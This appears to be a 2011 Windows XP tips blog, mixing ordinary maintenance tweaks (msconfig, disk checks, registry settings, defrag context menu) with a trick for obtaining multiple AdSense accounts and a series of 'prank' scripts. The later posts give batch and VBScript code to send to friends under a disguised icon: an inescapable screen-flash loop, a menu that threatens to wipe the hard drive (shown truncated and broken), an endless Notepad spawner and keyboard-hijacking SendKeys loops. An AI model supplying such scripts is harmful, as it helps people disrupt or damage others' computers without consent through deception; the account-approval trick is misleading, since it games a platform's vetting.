3) . Go to start > run and type "msconfig" without "" this will open system configuration utility in "start up" tab disable any software that you think cause to slow down you computer when the computer start up process. But you should not disable software like antivirus, firewall and your motherboard software. Otherwise those software will not functioning properly. Remove any software like messengers and any other software that are not system utilities.

4) . Check disk is another inbuilt process for checking errors of your hard drive and fix. I recommend you to check your disk at least once a week as a good habit. Right click on any hard drive partition select “Properties” and in Property window open tab “tools” and click check now. Make sure to check both options there before checking errors.

Using free 3rd party tools:

5) . Ccleaner is one my favorite and popular utility that has ability of cleaning hard drives and registry, advance uninstaller, and cookies deleting. Ccleaner has ability of deleting any unwanted start up software but some software can place start up key or object again its next start, in such a case you need to edit those software “options“ or “preferences“ and uncheck its startup mood for preventing it starting with the system.

6) . WiseRegistryCleaner is another advance registry cleaner which is more sophisticated than ccleaner and has ability of detecting more unnecessary registry keys that cause to slow down the computer.

Things you should consider:

7) . Using high resolution desktop wallpapers and screen savers can eat your system performance, also if you use high graphic themes then that can cause to system slowdown.

8) . Still you're system seriously getting slow and then maybe you need to use windows classic theme with the system settings for adjust for best performance. You can turn this feature ON by right click on your my computer icon, selecting "properties" this will open system properties window. Go to “advance” tab and under performance click “settings” button and select "Adjust for best performance" and click "Apply" again check "show shadows under menus" and "smooth edges of screen fonts" and click apply. Otherwise you'll get crazy with your system even it is faster than ever.

Are you using an computer that is accessed by more than one ? Secure your privacy by cleaning pagefile.

2011-07-08T20:33:00.001+08:00

Assume your are working on computer where you don't really own the computer or is shared with someone else. Do you want maintain privacy and avoid other know what you were doing etc. Then this tweak may be of interest to you.

Go to Control Panel >>> Administrative tools>>>local security policy.

Then Go to local policies ---> security options.

Then change the option for "Shutdown: Clear Virtual Memory Pagefile"

Automatically Defrag Drives with a new context menu item!

2011-07-08T20:32:00.001+08:00

A new Registry import file named context_defrag.inf in Notepad (be sure to save with it with the Save as type set to All Files and not Text Documents) and place the following text inside:
; context_defrag.INF
; Adds Defrag to the right click context menu in Windows XP

[version]
signature="$CHICAGO$"
[DefaultInstall]
AddReg=AddMe

[AddMe]
HKCR,"Drive\Shell\Defrag\command",,,"DEFRAG.EXE %1"

Then, right-click and choose Install. This will add a context menu to XP that allows you to automatically defrag drives, using the command line version of the built-in defragmentation utility. To use it, navigate to a drive in My Computer
, right-click, and choose Defrag. A command line window will appear, and that drive will be defragged. When it's complete, the window just disappears.

To remove this functionality, Open regedit.exe and navigate to the following location:
HKEY_CLASSES_ROOT\Drive\shell\
Then delete the Defrag folder and close Regedit.
Then delete the Defrag folder and close Regedit.

Avoid Download of File Attachments that may have Virus Infections

2011-07-08T20:31:00.001+08:00

Open Group Policy Editor
by going to START - RUN and entering gpedit.msc

This one is easy.. Navigate to USER CONFIGURATION - ADMINISTRATIVE TEMPLATES - WINDOWS COMPONENTS - INTERNET EXPLORER.

For This on right hand pane (most likely secondly last line at bottom) you should see an item Configure Outlook Express. Double Click on it and enable it and mark check box that says "Block attachments that may contain virus". OK out and close the global policy editor.

Boot Defragment for Fast Booting

2011-07-08T20:30:00.000+08:00

A very Important new feature in Microsoft Windows XP is the ability to do a boot defragment. This basically means that all boot files are placed next to each other on the disk drive to allow for faster booting. By default this option is enabled but some upgrade users have reported that it isn't on their setup.

1. Start Regedit.

2. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction

3. Select Enable from the list on the right.

4. Right on it and select Modify.

5. Change the value to Y to enable and N to disable.

6. Reboot your computer

Have tendency to Forget Passwords ?

2011-06-14T20:26:00.001+08:00

Most of us have a common tendency of forgetting passwords. If you don't every forget anything, I envy you and this may not be of much use to you but for most of us, this may be a life saver. If you're running Windows XP Professional as a local user in a workgroup environment, you can create a password reset disk by following instruction as shown below:
Go to START--->>>CONTROL PANEL--->>>USER ACCOUNTS.

Then click your account name and further on in RELATED TASKS, click PREVENT A FORGOT PASSOWRD. A wizard would come up, follow instructions and you have your password reset disk ready.

IMPORTANT NOTE: As it goes with things like password, make sure that you keep this disk at secure location else you risk tress passing with your user account.

How to avoid autoplay of CD

2011-06-14T20:25:00.001+08:00

Way I like best. Hey this time no registry trick even though there are ways in registry to do it. In earlier operating systems only those CD that had autorun.inf file in their root directory were able to execute on its own but with advent of WINDOWS XP it has become possible with just about anything.
Well sometimes it is good but there are other times when you want to avoid this part of automation.

Simply press SHIFT key when you enter a CD in your CD drive. It won't Auto play.

For those of you, who do want a registry hack.
Here it is:

Open Registry and navigate to
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]

and look for key "NoDriveTypeAutoRun" and set its value to 185 (decimal). This would stop autoplay.

How to Change Drive Letters

2011-06-14T20:24:00.001+08:00

To change drive letters (useful if you have two drives and have partitioned the boot drive, but the secondary drive shows up as "D")
Go to Start > Control Panel > Administrative Tools > Computer Management, Disk Management,

then right-click the partition whose name you want to change (click in the white area just below the word "Volume") and select "change drive letter and paths."

From here you can add, remove or change drive letters and paths to the partition.

How to Restart Windows without Restarting your Computer

2011-06-14T20:23:00.000+08:00

When you click on the SHUTDOWN button, make sure to simultaneous press SHIFT Button.
If you hold the Shift key down while clicking on SHUTDOWN button, you computer

would restart without restarting the Computer.This is equivalent to term"HOT REBOOT".

Get your adsense account approved fast

2011-06-14T20:17:00.001+08:00

I’ve noticed that a lot of people have trouble getting an AdSense account the regular way, especially if you live outside of US/CAN/EUROPE. (especially Indians)
I’m going to show you guys a trick that I have been using for a while, and which has never failed me in getting multiple AdSense accounts.

Here is what you do:
1. Go to the website www.*******.com

2. On the top right hand side you will see a register button click it!

3. Fill in all the information including a valid email.

4. Click I’d like to set up an AdSense account.
adsense aprooval quick

adsense aprooval quick

5. Fill in all the information Fully and submit.

6. You will get an email from both Google and *******. Click the link in the Google email and fill out the information and make sure it matches you ******* information. Also make sure you click “yes allow *******.com to access my account”

7. Go back to *******.com and login to your newly made account.

8. At the top of the page click “my profile”

9. On the top left click “update profile” Make sure you fill in as much information here as possible and that it matches your AdSense info. The more info you input the more likely you will be approved by AdSense.

10. Find any random .doc files or .pdf files on your computer and click the Upload tab.

11. Click the upload tab and upload at least 2 files.

That is it! This method always works for me and you should be approved within a week. Once you have your AdSense account you don’t need ******* any more, and you don’t have to share any of your AdSense earnings with them!!!

Feedback welcome

THRETEN BY MAKING SCREEN FLASH

2011-06-02T20:43:00.001+08:00

To make a really cool batch file that can make your entire screen flash random colors until you hit a key to stop it, simply copy and paste the following code into notepad and then save it as a .bat file.
@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a

To disable error (ctrl+shirt+esc) then end process wscript.exe
Enjoy!!!^^

Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

2011-06-02T20:40:00.001+08:00

1: Shutdown2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.

You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.

Open Notepad continually in your friend's computer

2011-06-02T20:39:00.001+08:00

@ECHO off:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.

Hack your friend's keyboard and make him type "You are a fool" simultaneously:

2011-06-02T20:38:00.001+08:00

Type :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

Frustrate your friend by making this VBScript hit Backspace simultaneously

2011-06-02T20:37:00.001+08:00

Type :
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.

Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out

2011-06-02T20:36:00.001+08:00

Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.